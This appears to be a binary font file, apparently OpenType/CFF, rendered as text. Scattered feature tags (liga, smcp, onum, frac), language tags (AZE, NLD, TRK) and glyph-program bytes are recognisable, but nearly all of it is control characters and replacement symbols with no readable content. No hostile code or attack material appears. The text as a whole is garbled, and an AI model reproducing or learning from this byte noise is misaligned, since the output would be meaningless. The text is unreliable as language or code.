\���������9��:��H��J��R��V��������������������Y��SY��Z��\�����7��SY��Z��\�������7��W��Y��Z��[��\�������W��\�����FX���������������DHIK��O��VWYZ[\]
��������������������DH��R������������������������������������������������D��F��H��J��O��R��V������������������������������������������������������������
������D��F��H��J��R��V�������������������������D��F��H��R��T�������������������������������������������������������������D��F��H��J��O��R��V����������������������������	$��7��9��:��<�������������2��8��<��R��X��\��
&��2��7��8��<��F��R��W��X��\��8��<��X��\��2��<��R��\��(&��*��2��4��7��8��9��:��<��F��G��H��J��R��T��W��X��Y��Z��\��m����������������������������������������������$��+2�����������������$��&
*
2
DHR
X
��������
�
�
�����
�
�
�
$��$��7��
$��7��9��:��;��<�������������$��PQ�$��PQS�����$��PQSU����������&��7�������������������������������������������������������������������\��W��W��Y��Z��[��\�������7��W��F���������������D��F��H��J��O��R��V�������������������������$��7��:
<�����������������$��G��R��U��V��W��Y��\��������������������$��9:<�������������$��9:<�������������	$
7��9��:��<���
�
���	$��7��9��:��<�������������$')*-/	135=DFHKNWY\)}}-��.��4��5��8��9��?��K��L��M��N��O��P��Q��R��T��W
�fDFLTcyrl.latnH��	
��	
.AZE DCRT DMOL .NLD ZPLK pROM .TRK D��	
��	
��	
��	
aaltDc2scJdligPfracVliga\ligadligalligarlnum|onum�smcp�
	"*2:BJRZbjr`dh�������		,
 ~�		�IO�OI�IL�LILMI�IL�LI�IL�LIh$.BT^cCc�����C������"��	(��XK�X^ED �URW  
��(eG �� ��, 
~�Sx�� 
    " & / : _ �!"����
 �Rx��     " & / 9 _ �!"���������p�L����������������7�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ع�������y�������������������qz�q�q���&e�����%���&e��!y�,� `f-�, d ��P�&Z�E[X!#!�X �PPX!�@Y �8PX!�8YY �Ead�(PX!�E �0PX!�0Y ��PX f ��a �
PX` � PX!�
` �6PX!�6``YYY�+YY#�PXeYY-�, E �%ad �CPX�#B�#B!!Y�`-�,#!#! d�bB �#B�*! �C � ��+�0%�QX`PaRYX#Y! �@SX�+!�@Y#�PXeY-�,�C+�C`B-�,�#B# �#Ba��b�`�*-�,  E �Ec�Eb`D�`-�,  E �+#�%` E�#a d � PX!��0PX� �@YY#�PXeY�%#aDD�`-�,�E�aD-�	,�`  �	CJ�PX �	#BY�
CJ�RX �
#BY-�
, �b �c�#a�C` �` �#B#-�,KTX�DY$�
e#x-�,KQXKSX�DY!Y$�e#x-�
,�CUX�C�aB�
+Y�C�%B�	%B�
%B�# �%PX�C`�%B�� �#a�	*!#�a �#a�	*!�C`�%B�%a�	*!Y�	CG�
CG`��b �Ec�Eb`�#D�C�>�C`B-�,�ETX�#B `�a�

BB�`�
+�m+"Y-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�	+-�,�+�ETX�#B `�a�

BB�`�
+�m+"Y-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-� ,�+-�!,�+-�",�+-�#,�	+-�$, <�`-�%, `�
` C#�`C�%a�`�$*!-�&,�%+�%*-�',  G  �Ec�Eb`#a8# �UX G  �Ec�Eb`#a8!Y-�(,�ETX��'*�0"Y-�),�+�ETX��'*�0"Y-�*, 5�`-�+,�Ec�Eb�+�Ec�Eb�+��D>#8�**-�,, < G �Ec�Eb`�Ca8-�-,.<-�., < G �Ec�Eb`�Ca�Cc8-�/,�% . G�#B�%I��G#G#a Xb!Y�#B�.*-�0,��%�%G#G#a�E+e�.#  <�8-�1,��%�% .G#G#a �#B�E+ �`PX �@QX�  �&YBB# �C �#G#G#a#F`�C��b` �+ ��a �C`d#�CadPX�Ca�C`Y�%��ba#  �&#Fa8#�CF�%�CG#G#a` �C��b`# �+#�C`�+�%a�%��b�&a �%`d#�%`dPX!#!Y#  �&#Fa8Y-�2,�   �& .G#G#a#<8-�3,� �#B   F#G�+#a8-�4,��%�%G#G#a�TX. <#!�%�%G#G#a �%�%G#G#a�%�%I�%a�Ec# Xb!Yc�Eb`#.#  <�8#!Y-�5,� �C .G#G#a `� `f��b#  <�8-�6,# .F�%FRX <Y.�&+-�7,# .F�%FPX <Y.�&+-�8,# .F�%FRX <Y# .F�%FPX <Y.�&+-�9,�0+# .F�%FRX <Y.�&+-�:,�1+�  <�#B�8# .F�%FRX <Y.�&+�C.�&+-�;,��%�& .G#G#a�E+# < .#8�&+-�<,�%B��%�% .G#G#a �#B�E+ �`PX �@QX�  �&YBB# G�C��b` �+ ��a �C`d#�CadPX�Ca�C`Y�%��ba�%Fa8# <#8!  F#G�+#a8!Y�&+-�=,�0+.�&+-�>,�1+!#  <�#B#8�&+�C.�&+-�?,� G�#B�.�,*-�@,� G�#B�.�,*-�A,��-*-�B,�/*-�C,�E# . F�#a8�&+-�D,�#B�C+-�E,�<+-�F,�<+-�G,�<+-�H,�<+-�I,�=+-�J,�=+-�K,�=+-�L,�=+-�M,�9+-�N,�9+-�O,�9+-�P,�9+-�Q,�;+-�R,�;+-�S,�;+-�T,�;+-�U,�>+-�V,�>+-�W,�>+-�X,�>+-�Y,�:+-�Z,�:+-�[,�:+-�\,�:+-�],�2+.�&+-�^,�2+�6+-�_,�2+�7+-�`,��2+�8+-�a,�3+.�&+-�b,�3+�6+-�c,�3+�7+-�d,�3+�8+-�e,�4+.�&+-�f,�4+�6+-�g,�4+�7+-�h,�4+�8+-�i,�5+.�&+-�j,�5+�6+-�k,�5+�7+-�l,�5+�8+-�m,+�e�$Px�0-��!*�.�/<��2��<��2�/<��2��<��23!'3#!	�����f!X\��	-@*BQCQ
D	+35353#\���*C�����2���@	BQD+53#753#2�*8Ċ*8W���������)��K�PX@(j
	
k
	
	YQD@/j
	
kZ		M	Q
		EY@+7537#53733733#3##7##?37#acw"i"g"i"Zmdw(i(g(j(}gg�c�c����c�c����c����#(-i@
'-&) BK�PX@hUSD@ hMYQEY�+7535&546753#4&'#5&'&5654'�U�kaD_o�(&td-)3ODR5V�QQ�TT�	j�/�Th	66q].;� bR8] 	ii&=�?��LI��_�
$-�K�PX@&[	[		\S
DK�"PX@*j[	[		\S
D@.j
k[	[		\SDYY@-,('#!$"+4632#"'2654&"374632#"&62654&"lLMkmKL	2F22F2E�j�u�lLMkmKLlc2F22F��kkMIk�#11"#11���'�KkkNIkknF11"#27����!*5e@.('BK�-PX@SCQ
CSD@WSCQ
DY�,$#+7467&/&74626=3#'#"&7327'654&#"7EX	+m�b2Ctq'{�.<T3k��A)0H�/+J&<!�G[."37G`UF6L.�9:
8o$�8-"wr-H7�.0!52���@BQD+53#2�*8W���(�8/�'K�PX@CD@QDY�+4673#.(MVdO=<PdVM	s܁���ț���8�/K�PX@CD@QDY@	+>4&'3O=<PdVMMVș��ț��ts܁�e�@

	
?D+7537''7mHmmC:CC:CDE$tt$F#^+^^+^<�LK�PX@YQ
D@MYQEY@
+753533##5<�d��d�d��d��@�R��@	?Q
D+35356=@�'9V��:A8b�*V@MQE+75!χ�@��@Q
D+353@������#�BK�"PX@C
DK�$PX@j
D@
jaYY@	+3�a��(���%@SCSD&()%+4>32#".632>54.#"!5X;=Y4 
#CU9<X5 �*&'+)&'+eBfa@&(@deBf�Q#'@be��m#'kckr"(Dz�AK�PX@YC
D@YQ
DY@+5273#D�!]��]�;��-@*hSCQ
D$(+3>7>54&#"#&54632!EZu@5/05�{np�C\O4
,bu=SN;5=B;p}zgHdD91}���(�� BK�
PX@+``[SCTDK�PX@,h`[SCTD@-hh[SCTDYY@
*#$!"+7332654&#532654&#"#54632#"&�82.;NQ?=.*4-�|jgz+2=7�qm��69</82^04,1;BpriX0AN=h{}
�

P�
BK�PX@ZC
D@jZ
DY@

+7533##5'3�JJ����v��Lt��t/�����BK�PX@+h^[QCTDK�PX@,hf[QCTD@*hfY[TDYY@
$"$"+7332654&#"#!!632#"&�4.5=<6C~?{��9Bcz�sh��*.B=@B6�}�+�lr�s ���$g�
BK�PX@$`[SCSD@%h[SCSDY@	%$$""+4632#.#">32#"'&732654&" ��Xp
�'"?2!@,\r�j�=3�;1/=:b<Q��ZV"_p"zes�bQ>8AD8:@C�
?�BK�PX@QC
D@Y
DY@


+5!#>7>7�~v
�
+%f H}n���o�O/�"��
�",/@,B[SCSD$$*(+7467.54632#"&72654&#"3265."6>0,�cb�,0>6�pq��;h<;53<;/.;9^�>P!D3TmmS4D!P>dxxl48827:: R54)*3���"g�BK�PX@$`[SCTD@%h[SCTDY@	$#"$"+4632#"&'3325#"&72654&#"�kt���\{�/%u&4._u�7b;:4/7�n�����kR&�*�o<AA:>BA\�KK�PX@QCQ
D@YQ
DY@+35353\�����v��\�R�Q�	?K�PX@QCQ
D@YQ
DY@



+35356=53\�'9VV���:A8bv��X���]�(+75
Xx��
�L=���<m�.@+YMQE+75!%5!<�0�mdd�ddX���]�(+7-5X
��x�����L��<(�<@9hfSCQ
D)"+4632#5467>54&#"53<�qn�2F-|+8-<-0>#�ᄃ�f?R1 &19P/%)"1BL:���)�p��2?�K�PX@

-.BK�-PX@

-.B@

-.BYYK�PX@'	\WSC

S
DK�-PX@.

h	\WSC

S
D@1

h

[P	\WSDYY@><75#$$%$"%#+4>32#"'#"&546327332654&#"327#"$%326754&#")�ワ�F�NY<GJc�eJ*
oJ
9[…��ʔJ{$zt���J/"7D, 7M�߄ݚL�`=8nRq�>*���Nt�ړ�� Z.�*:X*t��
+@(
BZC
D	+33#'!3���0��1[�_�'��R��
8@5B[SCS
D
!+3!2#'3254+53254+REn�.6y�{��oo��jj��oQ/E"Gj^t}^_}RS,����/@,hfSCSD"$!"+4632#&#"3273#"&,���	�}YdaW�
�����l�Ɉ{��xw��|��M��
&@#SCS
D

	!+3!2#'3254+MTm%YYH�������(,j��jU}��Op�.@+YQCQ
D+3!!!!!O��]����}�}�}JJ�	(@%YQC
D		+3!!!!J��?���}�}��*����o�BK�PX@&hYSCS
D@*hYSC
CSDY@
#$!"+4632#&#"3267#5!#'#"&*Þ���(�`lu[Em�$Z*iI��m�΄qu�up�UB}�xd:6�D��&@#YC
D+33!3#!D�!�������'K��?��@C
D+33?��'����!@hCTD##+75332653#"&�&+'*�zpi{�=;2-,)��fosJ��%@"
	BC
D+333	#J����B��K��@��aBN�PC�@CR
D+33!P�]��}B�&@#BC
D+333##B�▁����D�'8��8��D��	#@ BC
D		+333#D�!������'��(����@SCSD$$$"+4632#"&732654&#"(�������n[Zom\Zom��֧��Ӧr��or��Ly�
*@'[SC
D


$!+3!2+3254&+LBryxd��u9<��tno����m86+����1@.	B
?SCSD#)+66 '#"327'7654&"+�<�+%PLVSj�+m[4$MLR!n��L�ӣI�-LQQ2��IQNBWp�P��$6@3B[SC
D$"&!+3!2#.574&+32654&+P�^f{		 �	,1��=-.<��mX�0
@>=*03M.)���.31, ��y�'/@,hfSCSD+"+"+7332654&/.54632#4&#"#"& �WMEN<Mfo^�����QH:D:Prf[�����:?0-+*YUkuxr7;1)('ZUny}V� @QC
D+5!##HՖ\}}��\L����
@CSD+73 53 &L�����������}����@BC
D+33#�������%�'
�� @
BC
D+333##
�qq�vm�ʇzw���"��#�'9����%@"
BC
D+3373#'�޲����게�oj�������@BC
D+33#�������B�5��B�	,@)AQCQ
D		+35!5!!u��$��t}�}}�!}B�84�BK�PX@QCQD@UQDY@+3#3B�pp��f�+f���1�9K�"PX@C
DK�$PX@j
D@	jaYY�+3#a�a�(�8�:K�PX@QCQD@UQDY�+3#53#pp��b�f�_=
�@Bja+3#=�}�qys��W,����CB��@MQE+!!X��xE��V��,K�PX@QD@MQEY�+3#
�Fd���% ,�@'BK�PX@`SCS
DK�PX@hSCS
D@"hSC
CSDYY�##!,+746?>54#"#632#&5#"&7326=MR8(
Q4*�
�� �JZG]�L5:(0-#�HL
6 *����%0MP[:B=		;��?�xK�PX@

B@

BYK�PX@CSCSD@ CSC
CSDY@$"+33632#"'32654&#";�2cg|�ba4@64BB45A��O�wy�G>LXXIJYW"��
%/@,hfSCSD"#""+4632#.#"32673#"&"�ze}�-+r<6(.�
�ay�
��pc5-�NT(+Wm���!�[@

BK�PX@CSCS
D@CSC
CSDY�$""+46323#5#"&62654&#"�ab3��6_h{�AjA@65
z�O�'>G���WVIMX��
%1@.hYSCSD""""+4632!3273#"&73.#"�uw���85Z��]t���:.\����K<6NS��9;9�`@
BK�-PX@SCQC
D@YSC
DY@#"+535432&#"3##L�)'&SS��]A�i*5]�L�"�&%%�K�PX@
B@
BYK�PX@'`SCSCTDK�PX@(hSCSCTD@,hCSCSCTDYY@
$#%!#"+6463253#"&'3326=#"32654&#""aZ<��zm��R5B(B/d>27EE53?���\S��_iVC?=1P(IUUIJ\ZC�,@)BCSC
D""+33632#4#"C�:dP`�V/=��W`[��Jd<.��C��KK�PX@QCC
D@YC
DY@+3353C�����]���&��
`@

BK�PX@hQCCD@hYCDY@#!+32653#"'53
�:A$/B�e[��B:2��;$�)@&
	BCC
D+3373#';����Ť�8�q����=�C��@C
D+33C��'<8% U�BK�PX@SC
D@CSC
DY@  ##"#	+33>32632#4&#"#4&#"<�#C.j)<bQ[�)#-3�)#-3C)#PPXO��h &82��h &82��?"%K�BK�PX@SC
D@CSC
DY@""+33632#4#"?�:hV_�Z3>NWbY��Ma:0��#��9%@SCSD$$"+4632#"&632654&"#�|���|}��E:9FEt�������ҚYYKOY:�&>%e@

BK�PX@SCSCD@ CSCSCDY@$"+3632#"'32654&#":�2dhz�bh.A54B@65��PY�{z�Q��3�WWILX�& %
nK�PX@

B@

BYK�PX@SCSCD@CSCSCDY�$""+6463253##"2654&#"�bd2��-jfAjA@65���YP�
"Qb�WVINW?r%hK�PX@	B@@	BYK�PX@SC
D@CSC
DY@##+33>32&#"?�P0	{j7<�{����%#[K�PX@"`^SCTD@$hfSCTDY�+!)"+733254/.54632#&#"#"�	23h/�G/wgm|�d%,�jzr��).4:5SaaVI3bRW��-�[�BK�-PX@jQCT
D@jYT
DY@B#+53533#327"#"&5E�NN9FC�]��]��$b9?@:��C�
BK�PX@CT
D@C
CTDY�""+7332653#5#"&:�Z3>��<fV_�j��a:0D��GPb@BC
D+33#�um����u���� @
BC
D+333##�VR�QR���QV���z��z��}��%@"
BC
D+3373#'���XW����[\�����	�%&@#
BCTD##+33#"'5326=	�wp��NL%2�w���I/i4&�	,@)AQCQ
D		+35#5!!����q:qq��q%�8=�"T�BK�PX@[SCSD@[WSDY�!+!$!+7532=46;#";#"&=4&#%AE6L%-)88)%L6E/�\?�=Oc9�7.	.7�%cO=�*Z�8��/K�PX@CD@QDY@	+3Zd���_H�8`�"T�BK�PX@[SCSD@[WSDY�$"!+ +32=467.=4&+5323#+H%-)88)%L6E/AE6Le9�7.	.7�%cO=�*\>�=O<�:kK�PX@'``[OTH@)hh[OTHY@
#!#!+763232673#"/&#"<x0#9"N	v1"9 ��*'�*&\�F�	(@%BUQD		+73#53\*C)��5���D��$��
z?@<
BAhfUCD+46753#.'>73#5.7$rm,\y�
(#"(�zY,hw�SS��VUu]..��-.Ztef�~�S���3K�
PX@+,$
3	
B@+,$
3	
BYK�
PX@,`YSC


C	S			DK�$PX@4hhYSC


C	S			DK�-PX@2hh[Y


C	S			D@/hh[Y		W


DYYY@20/-!&"%+7>54'#53.54632#'&#"3#632327#"&#"?/Y<"�kuw
�b+7�z4@N"h/:)LE�1<P+@,"37;5!Uroxm3(7/7 ,M2%m- ��L/|"]@
B@?K�PX@WSD@[OSGY�,(+'7&47'76327'#"'264&"bbBb6?C2bBb!!bBb2C?6bq8\::\�b3�1bBb!!bBb2AC2bBb!!bI`AA`?(�8@5Bj
	ZY
D+3733#3##5#535#53�������������������;5;��;5;Z�8��BK�PX@QCQD@UQDY@+73#3Zddd���-t��!�7�-9�@	82BK�PX@"`^SCTDK�PX@#`fSCTDK�PX@$hfSCTD@!hfXSDYYY�#.!(+467.54632#&#"#"'332654&/&7654&/!'5%v[�
D#%5a,2Fxb��)%"*2�Ow�.#�*-=)%0&Ka�M#F6c2A1�j�
.""d.zP !LjG�#@ QD+53353~E~jssss����'D@Ahf[		[SCTD&$$!#
+66  264&"4632#&#"3273#"&� �����Ei[Md_C/32-QbdSZh� ��������^kNFC?:9>EFOkI�*�@%BK�PX@#`[USDK�PX@*`h[USD@+hh[USDYY@" #(	+46?>54#"#6 #&'#"5!'326=.1"/1N
\	+7,0�.#	�X2	
pd�
.|NN�'($XH��
�
	(+757757X�ee.�ee�r�uYYr�r�uYYr<��EK�
PX@_MQE@kMQEY@
+5!#5<�d#d��*V@MQE+75!χ�����'0O@LB
h[[		SCSD0.*(''&"+66  264&"32#&54654+532654&+� �����8�9=8
g-Y^^� ��������=0@
-P- %��|;�4K�$PX@QD@MQEY@	+5!+|OO9�W�=K�PX@WSD@[OSGY�+462"&264&"9TvTTv3H33H�vTTvT�H33H3<F;@8	YYQ
D

	
+35!53533##5<�0�d��ddd,d��dnnP/���BK�PX@`USDK�-PX@hUSD@!h[MQEYY@$(+>7>54&#"#&546323'4@#4QHB@E%56
�P6="*(?	=A=9'3'%	GD3�#ܵBK�PX@*``XSCSDK�PX@+h`XSCSDK�-PX@,hhXSCSD@*hh[XSDYYY@
("#!#!+332654+53254&#"#>32#"&Q5J
BNB>:E.;M?AG�:773#D>8/2>7CBuVW�4K�PX@QD@MQEY@	+73uF�~V��:�$=�K�PX@	B@BYK�PX@CSCDK�-PX@ hCSCD@!hOQCDYY@$##"+332653327#"&'#"':�T,9�
!%#*4#='����n<.R�z,W&��A�$@!hiSD"+463!####&wX/+b?b\���H��P���@��E@OSG+6462"@,>,,>�>,,>,�&w@
BK�PX@^\SDK�-PX@j\SD@j\OSGYY�$!#"+732654+7332#"E$!3@1?(#)D=7�=g7+".85O��FK�PX@YQD@MYQEY@+5273#55g8TM6B���W�
-@*[USD"+4632"&5!2654&"VJLTV�V
-�*D**D-P\\RN[\�NNV\:9-/:XH��
�(+757'557'5Xee�(ee�HuYYr�s�uYYr�s@�����@

BK�PX@0
	kY
	ZQC	Q		
	DK�'PX@.
	kYY
	Z	Q		
	D@2j
	kYY
	Z	Q		
	DYY@#
	+5273#5375733##5'35@f8T�W�Y�`((T]]M6B������kA��BRRB�@���+jK�PX�B�BYK�PX@4	`
kYOQC		
Q



DK�PX@5	`
kY\QC		
Q



DK�PX@6		h
kY\QC		
Q



DK�'PX@4		h
kYY\		
Q



D@8j		h
kYY\		
Q



DYYYY@!++*) 
	+5273#53%>7>54&#"#&546323@f8T�W�Y&4A#QHB@D$55	�M6B������5>"*(!	=A=9(4$%G?����#'25�@5)BK�PX@F``	
	kP
YSCSC

R



DK�PX@G``	
	k\
YSCSC


R



DK�PX@Hh`	
	k\
YSCSC


R



DK�-PX@Ihh	
	k\
YSCSC


R



D@Ghh	
	k[\
YSC


R



DYYYY@!(($$43(2(210/.-,+*$'$'("#!#!+332654+53254&#"#>32#"&375733##5'35?Q5J
BNB>:E.;M?AG��W�YŒ`((T]]�:773#D>8/2>7CB�a�kA��BRRB�<�4(bK�$PX@%hfQCTD@"hfXQDY@
")+7467>53326=3#"&53<2F-|+8-<-0>��qn���?R1 &19P/%)"1BL:���֒���7@4BYZC
D

	+33#'!3#3���0��1�Lj-�_�'��������
<@9
BYZC
D
		+33#'!3'73���0��1[�_2L���'��凇��E@B
Bj	jZC
D
	
+33#'!73#'3���0��1��|^bc�_�'����FF���� N@K 
B[	\

ZC
D

+33#'!>323273#"/&#"3���0��12)$G ?Y G�_�'��:B
0����G@DB
YZC	
D

	+33#'!533753���0��1~@�_&~�'��ss���ss��C@@B[[ZC	
D

+33#'!4632#"33264&#"���0��1Z:+)9;(*9�_+�'��6R::*(:�E&&��>@;YY	QCQ

D+3!!!!!!5#3#���S������5_�C�}�}�}��G,���+�@) 	BK�-PX@6hf		[SCSCSD@3hf		[WSCSDY@
(&#$!$!"
+4632#&#"327332#"'732654+7.,���	�}YdaW�
���(#)D=7SE$!3@*��l�Ɉ{��xw��w�'+".8=X
�Op�:@7YYQCQ
D
	+3!!!!!3#O��]����+�Lj�}�}�}��Op�?@<	YYQCQ
D

+3!!!!!73O��]�����L���}�}�}��Op�J@GBj
jYQCQ	
D
+3!!!!!73#'O��]����(��|^bc�}�}�}��FFOp�J@G	YYQCQ

D

+3!!!!!53353O��]����G~E~�}�}�}ssss����"@YC
D+3#3�Lj,������'?1�)@&YC
D+3373?��L���'����I�
3@0BjjC
D

	+73#'35��|^bc���FF���'��+�4@1YC
D
		+53353~)�(~ss���'ss��6@3YSCS
D*!	+53!2#!32654&+3#MVm$)//)$mV�㖇aNNa���SP6(,3�PQ�4-(S�}rs}�PD��	F@CB[	\C

D



		+333#>323273#"/&#"D�!���� 2)$G?Y G��'��:B
0(����(@%YSCSD$$$"+4632#"&732654&#"3#(�������n[Zom\Zo�Ljm��֧��Ӧr��or����(����.@+YSCSD$$$"+4632#"&732654&#"73(�������n[Zom\Zo�L��m��֧��Ӧr��or��6��(����8@5BjjSCSD$$$"+4632#"&732654&#"73#'(�������n[Zom\Zo	��|^bcm��֧��Ӧr��or��7��FF(����-<@9[
	\SCSD--#!#$$$$"+4632#"&732654&#">323273#"/&#"(�������n[Zom\Zo2)$G ?Y Gm��֧��Ӧr��or��::B
0(����9@6	YSCSD$$$"
+4632#"&732654&#"53353(�������n[Zom\Zo(~E~m��֧��Ӧr��or��Assss]3���	(+?'77']��F��F��F��y��F��F��F��(����#5@2#BSCSD#*("+46327#"''7&7&#"32654'(���ZADEF�Y@DDE�/2JZoL3JZom��IF@Jd���HE@Ib�F7H-���-�oG9L����
$@!YCSD+73 53 &3#L������a�Lj�����}�� �L����
*@'YCSD+73 53 &73L�������L�������}�����L����
4@1BjjCTD+73 53 &73#'L������^��|^bc�����}�����FFL����
5@2	YCSD
+73 53 &53353L������}~E~�����}���ssss��,@)BYC
D				+33#73�����L����B�5����Ly�
.@+[[C
D

%!+3332+3254&+L��t9>we��u9<��x8=np��	m86C��?�&�K�PX@B@BYK�PX@[SCSD@#[SC
CSDY@&&$!$#)"+3432#"'5?>54&+53>54&#"C�e�W>Dxb1
4AI@
	-54.).�fPf"
\Fr�pC69B_0(',*%����� $0�@+BK�PX@'`QCSCS
DK�PX@(hQCSCS
DK�PX@&hYSCS
D@*hYSC
CSDYYY@
"#!,+746?>54#"#632#&5#"&3#326=MR8(
Q4*�
�� �JZG]C�Fd5L5:(0-#�HL
6 *����%0MP���L:B=		��� ,0�@'BK�PX@(`QCSCS
DK�PX@)hQCSCS
DK�PX@'hYSCS
D@+hYSC
CSDYYY@---0-0##!,	+746?>54#"#632#&5#"&7326=73MR8(
Q4*�
�� �JZG]�L5:(0-#5F�~�HL
6 *����%0MP[:B=		������ '3�@&.BK�PX@,	h`CSCS
DK�PX@-	hhCSCS
DK�PX@*j	jhSCS
D@.j	jhSC
CSDYYY@!!+)!'!'#!,
+746?>54#"#632#&5#"&73#'326=MR8(
Q4*�
�� �JZG]JlgXRRL5:(0-#�HL
6 *����%0MP��MM�L:B=		��� 6B�@=BK�PX@2`
\		SCSCS
DK�PX@3h
\		SCSCS
D@7h
\		SCSC
CSDYY@!!:8!6!642!#$#!,
+746?>54#"#632#&5#"&>323273#"/&#"326=MR8(
Q4*�
�� �JZG]C2)$G ?YG
L5:(0-#�HL
6 *����%0MP:B
0�?:B=		��� $04�@+BK�PX@+`	
QCSCS
DK�PX@,h	
QCSCS
D@0h	
QCSC
CSDYY@11!!141432(&!$!$#!,+746?>54#"#632#&5#"&53326=53MR8(
Q4*�
�� �JZG]R~DL5:(0-#�~�HL
6 *����%0MP#ss�8:B=		�ss�� ,7A�@'BK�PX@-`		[[SCS
DK�PX@.h		[[SCS
D@2h		[[SC
CSDYY@
A?#$+##!,
+746?>54#"#632#&5#"&7326=4632#"&3264&#"MR8(
Q4*�
�� �JZG]�L5:(0-#:+)9;(*�HL
6 *����%0MP[:B=		�R::*(:v&&��Y%/;?9K�'PX@6
+B@6
+BYK�PX@0
`h

YSC	SDK�'PX@1

hh

YSC	SDK�-PX@;

hh

YSCSC	SD@E

h		h

YSCSC		SCSDYYY@?>=<31""""!.+746?>7654#"#632632!32673#"'#"&7326=%3&"LS8
U/+��u:>]y���>4"<
��Y�@YtNZ�L69#0*&H�ĕIK

5!)�22��>A!FZhiSY;A>~{"�
%,�@*!	 BK�PX@7h^f		\SCCSDK�-PX@8hff		\SCCSD@5hff		\WSCDYY@
)'#$!#""
+4632#.#"3267332#"'732654+7."�ze}�-+r<6(.�	tY(#)D=7SE$!3@+fn
��pc5-�NT(+Rk*+".8=[���
�uK�PX@/hYQCSCSD@-hYYSCSDY@""""	+4632!3273#"&3#3.#"�uw���85Z��]t�J�Fd:�:.\����K<6NS�j���9;��
�|K�PX@0hY	QCSCSD@.h	YYSCSDY@""""
+4632!3273#"&73.#"?3�uw���85Z��]t���:.\,F�~����K<6NS��9;�����
� ��BK�PX@4
hhYC		SCSD@1j
jhY		SCSDY@ """+4632!3273#"&73#'3.#"�uw���85Z��]t�QlgXRR�:.\����K<6NS��MM��9;��
�!P@MhY
Q	CSCSD!! """
+4632!3273#"&533.#"753�uw���85Z��]t�Y~I�:.\�~����K<6NS��ss��9;�ss����CK�PX@QCC
D@YC
DY@+3#3�Fd(����C&�KK�PX@QCC
D@YC
DY@+3373C��F�~��V����4�
Z�BK�PX@hCC
D@jjC
DY@

	+73#'3lgXRR�V��MM������+�6@3QCC
D
		+53353~%�"~jss����jss#��9�&3@0B

		@SCSD&% "+4632&''7&'77#"&626=4&"#�k$1(7M*F&4C#4W3Trk�~��DtDDtw�@ .%,/
4"2M�{���͘WUJNW?"�'��BK�PX@(
\		SCSC
D@,
\		SCCSC
DY@''%# ""
+33632#4#">323273#"/&#"?�:hV_�Z3>I2)$G?Y GNWbY��Ma:0��c:B
0#��9�QK�PX@QCSCSD@YSCSDY�#$"+4632#"&3#32654&"#�|���|}�^�FdPE:9FEt�������g���YYKOY#��9�YK�PX@ QCSCSD@YSCSDY@
$$"+4632#"&632654&"?3#�|���|}��E:9FEtF�~�������ҚYYKOY���#��9�j�BK�PX@$hCSCSD@!jjSCSDY@$"+4632#"&73#'32654&"#�|���|}�flgXRR0E:9FEt�������͚�MM��YYKOY#��9�!+@@=
\SC		SCSD+*&$!!#!#$$"+4632#"&>323273#"/&#"32654&"#�|���|}�_2)$G?Y GE:9FEt��������:B
0���YYKOY#��9�=@:	QCSCSD$"
+4632#"&5332654&"753#�|���|}�n~`E:9FEt`~��������ss��YYKOY�ss<���0@-[YSD
+75!462"462"<��,>,,>,,>,,>�dd�>,,>,�>,,>,#��9%#5@2#BSCSD#*("+46327#"''7&77&#"32654'#�|e@&<(-�|bB&<(-��,:E4 +9F��-':*Dm��.(:*Fg"�Y�YK$:���{�
BK�PX@QCCT
DK�PX@YCT
D@YC
CTDYY@	""+7332653#5#"&3#:�Z3>��<fV_G�Fd�j��a:0D��GPb��:�����
BK�PX@QCCT
DK�PX@YCT
D@YC
CTDYY@""+7332653#5#"&73:�Z3>��<fV_�F�~�j��a:0D��GPb���:����@

BK�PX@!hCCT
DK�PX@jjCT
D@"jjC
CTDYY@""	+7332653#5#"&73#':�Z3>��<fV_OlgXRR�j��a:0D��GPb���MM:���o�
BK�PX@ 
	QCCT
D@$
	QCC
CTDY@""+7332653#5#"&53353:�Z3>��<fV_W~E~�j��a:0D��GPbssss	�%�_@
BK�PX@QCCTD@YCTDY@
##+33#"'5326=73	�wp��NL%2F�~�w���I/i4&m��:�&>�<@9
BCSCSCD$"+3632#"'32654&":�2da��ad2B43CAjA����Y�|q�W���AYX@M_^	�%�C@@
B	QCCTD##
+33#"'5326=53353	�wp��NL%2]~E~�w���I/i4&�ssss����#BK�PX@BK�PX@BK�'PX@	B@	BYYYK�PX@!Y	SCS
DK�PX@+Y	SC	QCS
DK�'PX@3Y		SCQCQ
CSD@1Y		SCQCQ
CSDYYY@
" $#"
+46325!!!!!!5#"&7327&#"��0C$��+��Z�%C3���`QM**LPbg��#4}�}�}I.$ʦqI\I����%)/�K�'PX@
B@

BYK�'PX@)h		Y
SCSD@=h		Y

SCSCSCSDY@/-+*$$"""""+4632632!32673#"'#"&732654&#"3.#"�}zIAsy���98#<
��YqBMv|��G87HE:9F��9,`��LL��G9!GZKK�|D[[BP_`>=��7@4BYC
D

		

			+33#53353�����U~E~��B�5��ssss��VP�7�BK�PX@
kD@jaY@
+73#'lgXRRV��MM��cY�%@"XSD#!#"+>323273#"/&#"	2)$G ?YGc:B
0�*V75!χ��*V75!χ��*V75!χ����-7@MQE+'5!	6�hh����7@MQE+'5!��hhC���
!@BVD

+547673C-%5SP�mO&.J}B���
B�BK�
PX@_QD@kQDY@


+56'#53BSP�-%�.J}mO&B�y�}
B�BK�
PX@_Q
D@kQ
DY@


+35356'B�-%5S}mO&.JG���
0@-BVD

+5476733547673G-%5SP\-%5SP�mO&.J}mO&.J}I���
U�BK�
PX@_QD@kQDY@

+56'#5356'#53ISP�-%�SP�-%�.J}mO&.J}mO&H�y�}
U�BK�
PX@_Q
D@kQ
DY@


+35356'35356'H�-%5S��-%5S}mO&.J}mO&.J2�,�	@OSG"+64632"2J52IIh�hIJ34I\��.@+Q
D
		+353353353\�����������SH���(+757S�ee�r�uYYrPH���(+757'5Pee�HuYYr�s��"�(T@Q!	"
	BY	YSC		
S


D((&$$"
+?3&47#73>32&#"3#3#3267#"&'(?0�l4L6-T>^%����%a9;,2n$j��D*D��(�C�D"
D� z�y<D��C@@B	QC
QD

	+5!##33#5#'<t�l)�JG�l?i@�SS��B������k��@C
D+1!���qK�PX@
B@

BYK�PX@#
S	CQC
DK�PX@-S	C


S	CQC
DK�PX@+SC


	Q		CQC
DK�PX@/SC


	Q		CCQC
DK�-PX@-	
